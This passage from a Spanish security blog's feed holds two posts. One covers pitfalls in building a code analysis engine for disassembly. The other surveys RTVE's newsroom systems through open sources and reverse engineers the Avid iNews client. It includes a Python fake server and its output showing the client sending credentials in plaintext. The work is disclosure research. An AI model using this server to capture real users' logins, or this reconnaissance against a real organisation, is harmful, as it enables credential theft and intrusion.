<p>Podríamos, simplemente, buscar los opcodes de este prólogo de función en los segmentos con permisos de ejecución (no necesariamente, ya que para malware, puede ser que se encuentre código en segmentos que no tienen permisos de ejecución y que luego se copien a una zona de memoria donde sí se tengan privilegios)  y, si esa dirección no corresponde con ninguna función ya analizada, poner dichas direcciones en la cola de análisis. Así se pueden encontrar muchas funciones que de otro modo, probablemente, no encontraríamos.</p>
<p>Pero, como siempre con el análisis de código, esta técnica tiene la oxtia de problemas: ¿Y si los opcodes que he encontrado corresponden a ese prólogo pero realmente no es una función? Este problema no es tan fácil de solucionar, la verdad. Mi solución es seguir desensamblando, buscando si el código tiene sentido (encuentro rutas de código que no se van a casa krixto, encuentro bloques básicos bien formados, etc&#8230;). Aún así, esta solución es solo parcial: ¿Qué ocurre si, por casualidad, resulta que encuentro una zona que parece código correcto y no lo es? La posible solución (que en Pyew no la he puesto aún) es asegurarse que el epílogo de función coincida. Esto es, si el prólogo de función típico de x86 es PUSH EBP &amp; MOV EBP, ESP; habrá que buscar su epílogo correspondiente en los bloques básicos de salida, que es LEAVE &amp; RET. Aún así, esto tampoco sería correcto, un ejemplo:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">PUSH</span> <span class="kw3">EBP</span><br />
<span class="kw1">MOV</span> &nbsp;<span class="kw3">EBP</span>, <span class="kw3">ESP</span><br />
<span class="kw1">MOV</span> &nbsp;<span class="kw3">EAX</span>, EBP<span class="nu0">+4</span><br />
<span class="kw1">JMP</span> &nbsp;<span class="br0">&#91;</span>EAX<span class="nu0">+8</span><span class="br0">&#93;</span></div>
<p>Esto podría ser un código perfectamente válido. La función recibe un argumento y salta inconicionalmente (que no llama) a la dirección pasada más un offset (una VTable, por ejemplo). La función a la que salta es la que, realmente, se encarga de arreglar la pila antes de retornar, es decir, es en esa zona de memoria donde se encuentra el epílogo de función.</p>
<p>De todos modos, vamos a suponer que &#8216;mágicamente&#8217; tenemos solucionado también este problema. ¿Se podría decir que el motor está finalizado? Ni mucho menos: la búsqueda de prólogos de función es un coñazo porque hay múltiples prólogos de función. Por ejemplo, si desensamblamos ejecutables de Microsoft (librerías de Windows, el notepad, lo que sea) nos encontraremos que los prólogos a función no son como había puesto antes, sino así:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">MOV</span> &nbsp;<span class="kw3">EDI</span>, <span class="kw3">EDI</span><br />
<span class="kw1">PUSH</span> <span class="kw3">EBP</span><br />
<span class="kw1">MOV</span> &nbsp;<span class="kw3">EBP</span>, <span class="kw3">ESP</span></div>
<p>Así que nuestro motor de análisis de código no estaría encontrando el principio de la función, si no que estaríamos saltándonos una instrucción. La solución es buscar más prólogos: en vez de buscar solo PUSH EBP &amp; MOV EBP, ESP, buscamos también con MOV EDI, EDI antes. Pero aún así, no vamos a encontrar todas las funciones del binario. ¿Porqué? Por la convención de llamadas de cada función, entre otras n-mil cosas.</p>
<p><strong>Convenciones de llamada</strong></p>
<p>Cada compilador, arquitectura, etc&#8230; tiene una serie de <a href="http://en.wikipedia.org/wiki/Calling_convention" target="_blank">convenciones de llamadas</a>, siendo las más típicas (x86) <a href="http://en.wikipedia.org/wiki/X86_calling_conventions#cdecl" target="_blank">CDECL</a> y <a href="http://en.wikipedia.org/wiki/X86_calling_conventions#stdcall" target="_blank">STDCALL</a>. La diferencia principal entre estas 2 convenciones de llamadas es la siguiente: en CDECL es el que llama a la función el que se encarga de restaurar la pila, mientras que en STDCALL es la función llamada la que tiene que restaurar la pila. En ambos casos, el prólogo de función cambiará, así que estamos jodidos.</p>
<p>Por si esto fuera poco, estas 2 no son las únicas convenciones de llamadas existentes. Tenemos otras más, como por ejemplo <a href="http://en.wikipedia.org/wiki/X86_calling_conventions#fastcall" target="_blank">FASTCALL</a> (la cual, por cierto, es implementada por cada fabricante como se le pone de los huevos), <a href="http://en.wikipedia.org/wiki/X86_calling_conventions#pascal" target="_blank">PASCAL</a>, <a href="http://en.wikipedia.org/wiki/X86_calling_conventions#thiscall" target="_blank">THISCALL</a> o incluso podemos tener convenciones de llamada no estándar que el compilador ha decidido meter &#8220;así&#8221; porque resultaban más eficientes o usaban menos espacio.</p>
<p>Pero este no es el final de los problemas, aún tenemos otros todavía más gordos&#8230;</p>
<p><strong>El coño de la Bernarda (también llamado contrucciones &#8220;switch&#8221;)</strong></p>
<p>Un switch es una sentencia condicional que en función del valor comprobado tomará una ruta u otra o, incluso, varias. ¿Cómo se imlementa un switch en ensamblador? Cada compilador lo hace como se le pone de ahí. El modo más típico es el siguiente: tener una tabla de offsets a función y llamar a un registro (donde está la dirección de esa tabla) &#8220;+&#8221; un offset, que sería el índice dentro de la tabla. Este es el modo más típico para un switch medio/grande. Veamos un ejemplo con el siguiente grafo visto en IDA:</p>
<div id="attachment_2066" class="wp-caption aligncenter" style="width: 310px"><a href="http://blog.48bits.com/wp-content/uploads/2012/01/switch.png"><img class="size-medium wp-image-2066" title="switch" src="http://blog.48bits.com/wp-content/uploads/2012/01/switch-300x119.png" alt="" width="300" height="119" /></a><p class="wp-caption-text">Ejemplo de switch sencillo (GCC, 32bits)</p></div>
<p>Si miramos el bloque básico que tiene varias salidas nos encontraremos con el siguiente código ensamblador:</p>
<p>&nbsp;</p>
<div class="dean_ch" style="white-space: wrap;">.text:<span class="nu0">08048414</span><br />
.text:<span class="nu0">08048414</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">public</span> main<br />
.text:<span class="nu0">08048414</span> main &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw4">proc</span> <span class="kw5">near</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; DATA XREF: _start+17o</span><br />
.text:<span class="nu0">08048414</span><br />
.text:<span class="nu0">08048414</span> arg_0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw5">dword</span> <span class="kw4">ptr</span> &nbsp;<span class="nu0">8</span><br />
.text:<span class="nu0">08048414</span> arg_4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw5">dword</span> <span class="kw4">ptr</span> &nbsp;<span class="re0">0Ch</span><br />
.text:<span class="nu0">08048414</span><br />
.text:<span class="nu0">08048414</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">ebp</span><br />
.text:<span class="nu0">08048415</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">ebp</span>, <span class="kw3">esp</span><br />
.text:<span class="nu0">08048417</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">and</span> &nbsp; &nbsp; <span class="kw3">esp</span>, <span class="re0">0FFFFFFF0h</span><br />
.text:0804841A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">ebx</span><br />
.text:<span class="nu0">080484</span><span class="re1">1B</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">sub</span> &nbsp; &nbsp; <span class="kw3">esp</span>, 1Ch<br />
.text:0804841E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">cmp</span> &nbsp; &nbsp; <span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_0<span class="br0">&#93;</span>, <span class="nu0">7</span> &nbsp;<span class="co1">; switch 8 cases</span><br />
.text:<span class="nu0">08048422</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">ja</span> &nbsp; &nbsp; &nbsp;loc_80484D7<br />
.text:<span class="nu0">08048428</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_0<span class="br0">&#93;</span><br />
.text:0804842B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">shl</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="nu0">2</span><br />
.text:0804842E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="kw3">ds</span> : off_8048670<span class="br0">&#91;</span><span class="kw3">eax</span><span class="br0">&#93;</span><br />
.text:<span class="nu0">08048434</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jmp</span> &nbsp; &nbsp; <span class="kw3">eax</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; switch jump</span><br />
.text:<span class="nu0">08048436</span> <span class="co1">; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span><br />
.text:<span class="nu0">08048436</span></div>
<p>IDA ha encontrado que la dirección 0&#215;8048670 es una tabla de offsets (direcciones) a los bloques básicos que ha unido después. Es decir, ha encontrado un switch. ¿Cómo lo ha hecho IDA? Analizando el código que se encuentra en ese offset que ha encontrado que luego se accede al mismo por índice (0x0804842E) y que después hay un salto incondicional al valor que haya obtenido. Así que, si nosotros hacemos lo mismo en nuestro motor ¿Ya tendríamos soporte para sentencias switch? Ni de lejos&#8230; Cada compilador y cada arquitectura tiene varios tipos diferentes de dialecto de switch. Unos crean tablas como la que aquí se muestra. Otros, lo hacen accediendo a zonas de memoria relativa obteniendo la posición en ejecución. Un ejemplo (escrito a mano, que ahora mismo no encuentro ningún binario):</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">PUSH</span> <span class="kw3">EBP</span><br />
<span class="kw1">MOV</span> &nbsp;<span class="kw3">EBP</span>, <span class="kw3">ESP</span><br />
<span class="kw1">CALL</span> <span class="nu0">+5</span><br />
<span class="kw1">POP</span> &nbsp;<span class="kw3">EAX</span><br />
<span class="kw1">ADD</span> &nbsp;<span class="kw3">EAX</span>, <span class="br0">&#91;</span>0xSOMEVALUE, <span class="kw3">EDX</span>, <span class="nu0">1</span><span class="br0">&#93;</span><br />
<span class="kw1">JMP</span> &nbsp;<span class="kw3">EAX</span></div>
<p>En este ejemplo, el compilador ha decidido que era mejor (por algún motivo) coger la dirección relativa de la tabla de funciones obteniendo la dirección de la función actual (de ahí el CALL +5 &amp; POP EAX, para saber la dirección de la instrucción que se está ejecutando en ese momento).</p>
<p>Otra cosa que estoy obviando: estoy suponiendo que la tabla donde se apunta a las direcciones de los bloques básicos son contiguas y que son completas, osea, que estará del modo siguiente:</p>
<div class="dean_ch" style="white-space: wrap;">.rodata:<span class="nu0">08048670</span> off_8048670 &nbsp; &nbsp; <span class="kw4">dd</span> <span class="kw4">offset</span> loc_8048436 &nbsp; <span class="co1">; DATA XREF: main+1Ar</span><br />
.rodata:<span class="nu0">08048670</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">dd</span> <span class="kw4">offset</span> loc_8048447 &nbsp; <span class="co1">; jump table for switch statement</span><br />
.rodata:<span class="nu0">08048670</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">dd</span> <span class="kw4">offset</span> loc_8048458<br />
.rodata:<span class="nu0">08048670</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">dd</span> <span class="kw4">offset</span> loc_804846B<br />
.rodata:<span class="nu0">08048670</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">dd</span> <span class="kw4">offset</span> loc_804846B<br />
.rodata:<span class="nu0">08048670</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">dd</span> <span class="kw4">offset</span> loc_80484AD<br />
.rodata:<span class="nu0">08048670</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">dd</span> <span class="kw4">offset</span> loc_80484BB<br />
.rodata:<span class="nu0">08048670</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">dd</span> <span class="kw4">offset</span> loc_80484C9</div>
<p>Sin embargo, esto no tiene porque ser así. En muchos casos me he encontrado que lo que realmente hay son direcciones relativas. Es decir, en vez de la dirección virtual completa nos encontramos simplemente el último WORD de la dirección. Por ejemplo, en vez de encontrarte una dirección como 0&#215;08048436, te encontrarías con la dirección 0&#215;8436, a la cual luego se le sumaría la base 0&#215;08040000. O, aún peor, que lo que hay son las diferencias entre direcciones, es decir, el resultado de restar la dirección anterior de la actual. Y así podría seguir hasta aburriros y no acabaría en la puta vida.</p>
<p>Bueno, creo que el post ya es bastante largo así que lo dejo aquí. Espero que os haya gustado!</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2012/01/19/problemas-del-analisis-de-codigo/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>¿Qué sabemos de TVE? No sabemos mucho.</title>
		<link>http://blog.48bits.com/2011/11/07/%c2%bfque-sabemos-de-tve-no-sabemos-mucho/</link>
		<comments>http://blog.48bits.com/2011/11/07/%c2%bfque-sabemos-de-tve-no-sabemos-mucho/#comments</comments>
		<pubDate>Mon, 07 Nov 2011 19:46:01 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1993</guid>
		<description><![CDATA[Hola pepsicola. Hoy, a menos que La Noria lleve a Ortega Cano para que explique cómo matar a alguien y estar en la calle, la pandereta estará sobrevolando &#8220;el debate&#8221; en breves minutos. Hace unos meses surgió una nueva polémica política respecto al control de RTVE, si bien ésta era un poco más curiosa. En [...]]]></description>
			<content:encoded><![CDATA[<p>Hola pepsicola.</p>
<p>Hoy, a menos que La Noria  lleve a Ortega Cano para que explique cómo matar a alguien y estar en la calle, la pandereta estará sobrevolando &#8220;el debate&#8221; en breves minutos.</p>
<p>Hace unos meses surgió una nueva polémica política respecto al control de RTVE, si bien ésta era un poco más curiosa. En todas las noticias al respecto veíamos que se mencionaba explícitamente un sistema de generación de noticias para medios de comunicación, que es el estandar de facto de la industria, el <a href="http://www.avid.com/es/products/iNEWS">iNews</a>.</p>
<p>Me voy a morder la lengua por no hacer lo propio con la yugular de alguno, así que vamos a lo que vamos.<br />
<span id="more-1993"></span></p>
<p>Primero establezcamos el contexto con estos artículos</p>
<p><a href="http://www.rtve.es/television/20110923/comunicacion-sobre-decision-del-consejo-administracion-crtve-programa-inews/463593.shtml">http://www.rtve.es/television/20110923/comunicacion-sobre-decision-del-consejo-administracion-crtve-programa-inews/463593.shtml</a><br />
<a href="http://www.vayatele.com/profesionales/que-es-inews-y-que-tiene-que-ver-con-el-consejo-de-rtve" target="_blank">http://www.vayatele.com/profesionales/que-es-inews-y-que-tiene-que-ver-con-el-consejo-de-rtve</a></p>
<p>Parece que todo el mundo confía en la integridad del acceso al iNews. Asi que me puse a investigar un poco cómo funcionan las &#8220;teles&#8221; por dentro, en este caso TVE.</p>
<p>Lo primero que hice fue llamar a RTVE e intentar sobornar con donetes a algunos empleados para que me pasaran información. La cosa, incomprensiblemente, no funcionó así que hubo que pasar al plan B: Open Source Intelligence. Es decir, lo de siempre: Webs,comunicados, notas de prensa, pliegos, videos, foros, ir a tomar cafe al mismo bar que suelen ir los trabajadores a poner la oreja o a dejar un pendrive con el logo de TVE olvidado en la barra, etc etc&#8230;</p>
<p>He hecho una selección de las fuentes que proporcionan más información:</p>
<p>En esta web <a href="http://www.cobdc.net/12JCD/actes/">http://www.cobdc.net/12JCD/actes/</a> nos encontramos con 3 documentos interesantes, las presentaciones y papers de &#8220;El Gestor de archivo, nuevo perfil profesional en la redacción única de TVE&#8221; y &#8220;El uso de imágenes procedentes de Internet en los informativos de TVE&#8221;</p>
<p>Encontramos informaciones técnicas y operativas interesantes, que nos permiten ir formándonos una imagen del escenario. </p>
<p><a href="http://www.cobdc.org/jornades/12JCD/materials/comunicacions/pres/MEANA_gestor_archivo_nuevo_perfil_tve.pdf" target="_blank">http://www.cobdc.org/jornades/12JCD/materials/comunicacions/pres/MEANA_gestor_archivo_nuevo_perfil_tve.pdf</a></p>
<p><a href="http://www.cobdc.org/jornades/12JCD/materials/comunicacions/MEANA_gestor_archivo_nuevo_perfil_tve.pdf" target="_blank">http://www.cobdc.org/jornades/12JCD/materials/comunicacions/MEANA_gestor_archivo_nuevo_perfil_tve.pdf</a></p>
<p><a href="http://www.cobdc.org/jornades/12JCD/materials/comunicacions/AGUILAR_uso_imagenes_internet_tve.pdf" target="_blank">http://www.cobdc.org/jornades/12JCD/materials/comunicacions/AGUILAR_uso_imagenes_internet_tve.pdf</a></p>
<p>Los dos últimos ficheros son fundamentales para entender el artículo, así que recomiendo su lectura. Explican la manera de funcionar de las redacciones de TVE, desde el punto de vista técnico y funcional.</p>
<p><strong>Ejemplos de la información extraida</strong></p>
<p><u>MEANA_gestor_archivo_nuevo_perfil_tve.pdf</u><br />
&#8220;<em>En los SSII de TVE todos los periodistas tienen la posibilidad de trabajar con texto, audio y vídeo en alta resolución. Todos trabajan sobre estas plataformas y elaboran su noticia desde su puesto de trabajo, es decir, escriben texto y después sobre el mismo equipo abren su software de edición que apunta a servidores de vídeo o unidades de almacenamiento compartido donde pueden encontrar las imágenes que necesitan.</em>&#8221;</p>
<p><em>&#8220;Sin embargo, en la actual redacción digital de TVE, todo el material que<br />
llega en cualquier formato, se digitaliza, y se introduce en el<br />
almacenamiento compartido junto con los metadatos que lo identifican. Este<br />
proceso de digitalización se llama “ingesta”.&#8221;</em></p>
<p>&#8220;<em>El sistema se compone de un gran almacenamiento compartido llamado<br />
ISIS/Interplay (Avid) que contiene todos los materiales con los que se puede<br />
trabajar en un día. Este gran almacén tiene una capacidad cercana  a 4.000<br />
horas de vídeo y audio. Desde cualquier puesto de trabajo se puede tener<br />
acceso a este almacén, añadiendo nuevos  materiales, ingestando o<br />
descargando contenidos que servirán para elaborar nuevos productos<br />
informativos</em>&#8221;</p>
<p>&#8220;<em>La Ingesta Central es donde se llevan a cabo las grabaciones de líneas. En<br />
la redacción digital de TVE existe un departamento  que graba las señales<br />
externas en  ISIS. Utiliza 24 equipos llamados  Airspeed (Avid), que se<br />
pueden programar si se trata de envíos periódicos</em>&#8221;</p>
<p>&#8220;<em>Una vez que el material ha pasado desde los Airspeed a ISIS, el redactor o<br />
el realizador dispone del mismo y pueden editar su  noticia o pieza con<br />
cualquier sistema de edición no lineal.<br />
Para el montaje de una noticia, el redactor trabaja con dos aplicaciones<br />
principales:<br />
<strong>Instinct</strong> e <strong>Inews</strong> (ambos de Avid) que trabajan en paralelo</em>&#8221;</p>
<p><u>AGUILAR_uso_imagenes_internet_tve.pdf</u><br />
<em>En el caso de los Informativos de TVE, las tareas estrictamente de ingesta<br />
están a cargo de dos secciones distintas:<br />
- Ingesta Central, encargada de  la recepción de señales. Cuenta<br />
para ello con 25  AirSpeed  (servidor de ingesta directa de la<br />
empresa Avid).<br />
- Ingesta Local, responsable del resto de formatos que se capturan:<br />
ENG, cintas del Archivo histórico, DVD, CD, Web y memorias tipo<br />
flash.  Cuenta con 6  NewsCutter Adrenalin</em></p>
<p><img src="http://blog.48bits.com/wp-content/uploads/2011/11/rtve_1.png" alt="" title="rtve_1" width="600" height="300" class="aligncenter size-full wp-image-1994" /><br />
<em>Esquema 1</em><br />
Atendiendo a este esquema  donde aparece Odetics para el archivo antiguo, deberían tener algo parecido a esto, mola.<br />
<a href='http://www.youtube.com/watch?v=9fTJkVgRvpw' target=blank >http://www.youtube.com/watch?v=9fTJkVgRvpw</a></p>
<p><img src="http://blog.48bits.com/wp-content/uploads/2011/11/rtve_2.png" alt="" title="rtve_1" width="600" height="300" class="aligncenter size-full wp-image-1994" /><br />
<i>Esquema 2</i></p>
<p>Las imágenes y el texto recopiladas nos llevan a realizar otras búsquedas y averiguar que software, hardware y qué empresas están detrás.</p>
<p>Esta web de la revista de temática audiovisual nos ofrece un artículo con bastante información<br />
<a href="http://www.tmbroadcast.es/index.php/tve-hasta-el-infinito-y-mas-alla/" target="_blank">http://www.tmbroadcast.es/index.php/tve-hasta-el-infinito-y-mas-alla/</a><br />
Separándola convenientemente entre Producción, Emisión y Archivo. </p>
<p><em>Producción</em><br />
&#8220;<em>En la redacción se han instalado un total de 300 clientes concurrentes. La herramienta básica de trabajo para el redactor es Avid iNews Instinct</em>&#8221;</p>
<p>Bien, esto cuadra con todo el revuelo organizado en base al control de iNews. Veamos un poco más del iNews en este <a href="http://www.rtve.es/alacarta/videos/la-2-noticias/2-noticias-14-10-11/1223949/#aHR0cDovL3d3dy5ydHZlLmVzL2FsYWNhcnRhL2ludGVybm8vY29udGVudHRhYmxlLnNodG1sP3BicT0yJm1vZGw9VE9DJmxvY2FsZT1lcyZwYWdlU2l6ZT0xNSZjdHg9MTYzNSZhZHZTZWFyY2hPcGVuPWZhbHNl" target="_blank">video (3:05)</a> de La 2 Noticias; Mara Torres invita a David Trueba a dirigir el informativo y donde hablan brevemente sobre este software.</p>
<p><img src="http://blog.48bits.com/wp-content/uploads/2011/11/rtve_com2.png" alt="" title="rtve_com2" width="595" height="334" class="aligncenter size-full wp-image-1997" /><br />
El Famoso iNews<br />
<img src="http://blog.48bits.com/wp-content/uploads/2011/11/rtve_com4.png" alt="" title="rtve_com4" width="596" height="336" class="aligncenter size-full wp-image-1998" /><br />
Podemos deducir un poco más de como tienen estructurada la arquitectura, se ve que usan switchs KVM</p>
<p><em>Emisión</em><br />
&#8220;Como sistema de emisión se ha instalado el sistema ADC-100 de Harris con cliente, Production Client&#8221;<br />
<img src="http://blog.48bits.com/wp-content/uploads/2011/11/rtve_com5.png" alt="" title="rtve_com5" width="595" height="334" class="aligncenter size-full wp-image-1996" /><br />
Fijaos en la pantalla resaltada, bastante parecida a ésta, perteneciente al BroadcastSupervisor del ADC-100, lo que también cuadra.<br />
<a href="http://www.broadcast.harris.com/productsandsolutions/Automation/ADCBroadcastSupervisor.asp" target="_blank"><img alt="" src="http://www.broadcast.harris.com/media/Broadcast-Supervisor_25-9877.jpg" class="alignnone" width="550" height="439" /></a><br />
La arquitectura vendría a ser así<br />
<img src="http://www.broadcast.harris.com/media/ADCPlayoutAutomationWorkflow_25-7914.jpg" /><br />
Podemos observar varios de los elementos que vemos en la foto de La 2.</p>
<p>A más alto nivel<br />
<img src="http://www.mediamughals.com/images/broadcast/Adc_playout_M123jpg.jpg" /></p>
<p>Recapitulando, tenemos que están usando básicamente:</p>
<p>Avid NewsCutter XP<br />
Avid NewsCutter Adrenaline<br />
Avid iNews/Instinct<br />
Avid Media Composer<br />
Avid Interplay<br />
Servers Avid MediaStream<br />
Server Avid Unity ISIS<br />
25 servers AirSpeed<br />
Sistema Harris ADC-100 con el hardware/software asociado</p>
<p>Echemos un ojo al uso de puertos, y por lo tanto funcionalidades, por parte del Software/hardware de Avid <a href="http://cdn.pinnaclesys.com/SupportFiles/FAQ_Avid/243397/Port_Usage_Guide_UPDATED_24SEP2009.xls">http://cdn.pinnaclesys.com/SupportFiles/FAQ_Avid/243397/Port_Usage_Guide_UPDATED_24SEP2009.xls</a></p>
<p>Es un CTF en toda regla. Cuanto más lejos llegues, más pollas ascii podrás poner en el mapa del tiempo durante el telediario.</p>
<p><strong>¿Cómo de seguro es el iNews?</strong></p>
<p>Con tanto revuelo, que si se puede acceder o no al iNews y ver qué está escribiendo cada periodista, quise echar un ojo a la autentificación al menos. </p>
<p>En principio debido a las características del Software de Avid y los tipos de clientes, es bastante restringido. Aunque haciendo un poco el retard-ninja  he conseguido algunos, entre ellos el famoso iNews.  </p>
<p>Como hemos visto iNews es un software cliente, y desgraciadamente no tenemos acceso al servidor. Sin embargo, sólo para escarbar la superficie de lo que puede ser, quise comprobar si al menos cifraba las credenciales antes de enviarlas al servidor. Efectivamente no.</p>
<p>Si no tenemos un servidor pues no los inventamos, mejor dicho lo moldeamos. La técnica es útil en estos casos: crear un server dummy, dejar que el cliente iNews -ANWS.exe- hable con nosotros y ver qué peticiones espera. Vamos analizando el parser de paquetes y construimos el servidor según esto, finalmente podemos completar la secuencia y llegar a la autentificación</p>
<p>Básicamente el cliente se comunica con el server, le envía un &#8216;ping&#8217; y este le dice que acción realizar, sí está disponible o no, seguidamente se comprueban que las versiones de ambos son compatibles y se realiza la petición de autentificación.</p>
<p>Mediante ingeniería inversa vamos analizando las peticiones que espera recibir el cliente y cómo parsea los datos, moldeandonos el server según lo que vemos, que quedaría así.</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw1">import</span> <span class="kw3">socket</span><br />
<span class="kw1">import</span> <span class="kw3">binascii</span></p>
<p>server_socket = <span class="kw3">socket</span>.<span class="kw3">socket</span><span class="br0">&#40;</span><span class="kw3">socket</span>.<span class="me1">AF_INET</span>, <span class="kw3">socket</span>.<span class="me1">SOCK_STREAM</span><span class="br0">&#41;</span><br />
server_socket.<span class="me1">bind</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="st0">&quot;&quot;</span>, <span class="nu0">1019</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
server_socket.<span class="me1">listen</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span></p>
<p><span class="kw1">print</span> <span class="st0">&quot;Fake iNews Server &#8211; Testing plain authentication&quot;</span><br />
client_socket, address = server_socket.<span class="me1">accept</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
<span class="kw1">print</span> <span class="st0">&quot;Britney spears is connected&quot;</span><br />
<span class="kw1">print</span> <span class="st0">&quot;Receiving PING&quot;</span> </p>
<p>data = client_socket.<span class="me1">recv</span><span class="br0">&#40;</span><span class="nu0">2</span><span class="br0">&#41;</span><br />
<span class="kw1">print</span> <span class="kw2">repr</span><span class="br0">&#40;</span>data<span class="br0">&#41;</span><br />
<span class="kw1">print</span> <span class="st0">&quot;OK- Sending LOGIN Request&quot;</span><br />
client_socket.<span class="me1">send</span> <span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\x</span>04<span class="es0">\x</span>00<span class="es0">\x</span>00<span class="es0">\x</span>00&quot;</span><span class="br0">&#41;</span><br />
<span class="kw1">print</span> <span class="st0">&quot;Receiving CLIENT version&quot;</span><br />
data = client_socket.<span class="me1">recv</span><span class="br0">&#40;</span><span class="nu0">28</span><span class="br0">&#41;</span><br />
<span class="kw1">print</span> <span class="kw2">repr</span><span class="br0">&#40;</span>data<span class="br0">&#41;</span><br />
<span class="kw1">print</span> <span class="st0">&quot;Sending SERVER Version&quot;</span><br />
client_socket.<span class="me1">send</span> <span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\x</span>04&quot;</span><span class="br0">&#41;</span><br />
data = client_socket.<span class="me1">recv</span><span class="br0">&#40;</span><span class="nu0">8</span><span class="br0">&#41;</span><br />
<span class="kw1">print</span> <span class="st0">&quot;Initiating AUTH request&quot;</span><br />
<span class="kw1">print</span> <span class="kw2">repr</span><span class="br0">&#40;</span>data<span class="br0">&#41;</span><br />
<span class="kw1">print</span> <span class="st0">&quot;Completing AUTH request&quot;</span><br />
client_socket.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\x</span>80&quot;</span><span class="br0">&#41;</span> <br />
client_socket.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\x</span>81&quot;</span>*0&#215;20<span class="br0">&#41;</span><br />
<span class="kw1">print</span> <span class="st0">&quot;receiving plaintext user/password, leaking memory&#8230;&quot;</span><br />
data = client_socket.<span class="me1">recv</span><span class="br0">&#40;</span><span class="nu0">8</span><span class="br0">&#41;</span><br />
<span class="kw1">print</span> <span class="kw2">repr</span><span class="br0">&#40;</span>data<span class="br0">&#41;</span><br />
data = client_socket.<span class="me1">recv</span><span class="br0">&#40;</span><span class="nu0">800</span><span class="br0">&#41;</span><br />
<span class="kw1">print</span> <span class="kw2">repr</span><span class="br0">&#40;</span>data<span class="br0">&#41;</span><br />
&nbsp;</div>
<blockquote><p>Fake iNews Server &#8211; Testing plain authentication<br />
Britney spears is connected<br />
Receiving PING<br />
&#8216;\x17\n&#8217;<br />
OK- Sending LOGIN Request<br />
Receiving CLIENT version<br />
&#8216;#(@) 3.2.5.9  DOS\x00&#8242;<br />
Sending SERVER Version<br />
Initiating AUTH request<br />
&#8216;\xfc\x03\x00\x00\xfc\x03\x00\x00&#8242;<br />
Completing AUTH request<br />
receiving plaintext user/password&#8230;<br />
&#8216;\x05\x81\x81\x00\xfe\x01\x02\x00&#8242;<br />
&#8216;\x00\x04\x81\x81\x00\x01\x02\t\x00\xbd\x04\x81\x00\x04\x14\x02a\x00a\x00a\x00a\x00a\x00a\x00a\x00a\x00a\x00a\x00&#8230;.</p></blockquote>
